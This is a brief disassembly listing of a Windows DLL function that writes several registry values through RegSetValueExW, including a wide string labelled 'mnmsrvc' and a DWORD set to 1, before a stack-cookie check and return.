xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x180001e45
movups xmm0, xmmword [str.mnmsrvc]
lea rcx, [rsp + 0x50]
or rax, 0xffffffffffffffff
movups xmmword [rsp + 0x50], xmm0
nop word [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x180001eb0
mov rcx, qword [rsp + 0x40]
add eax, eax
mov dword [rsp + 0x28], eax
mov r9d, 1
lea rax, [rsp + 0x50]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x180001e45
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x48]
mov dword [rsp + 0x28], 4
lea rdx, [0x180020580]
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x48], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1800029f0
add rsp, 0x288
ret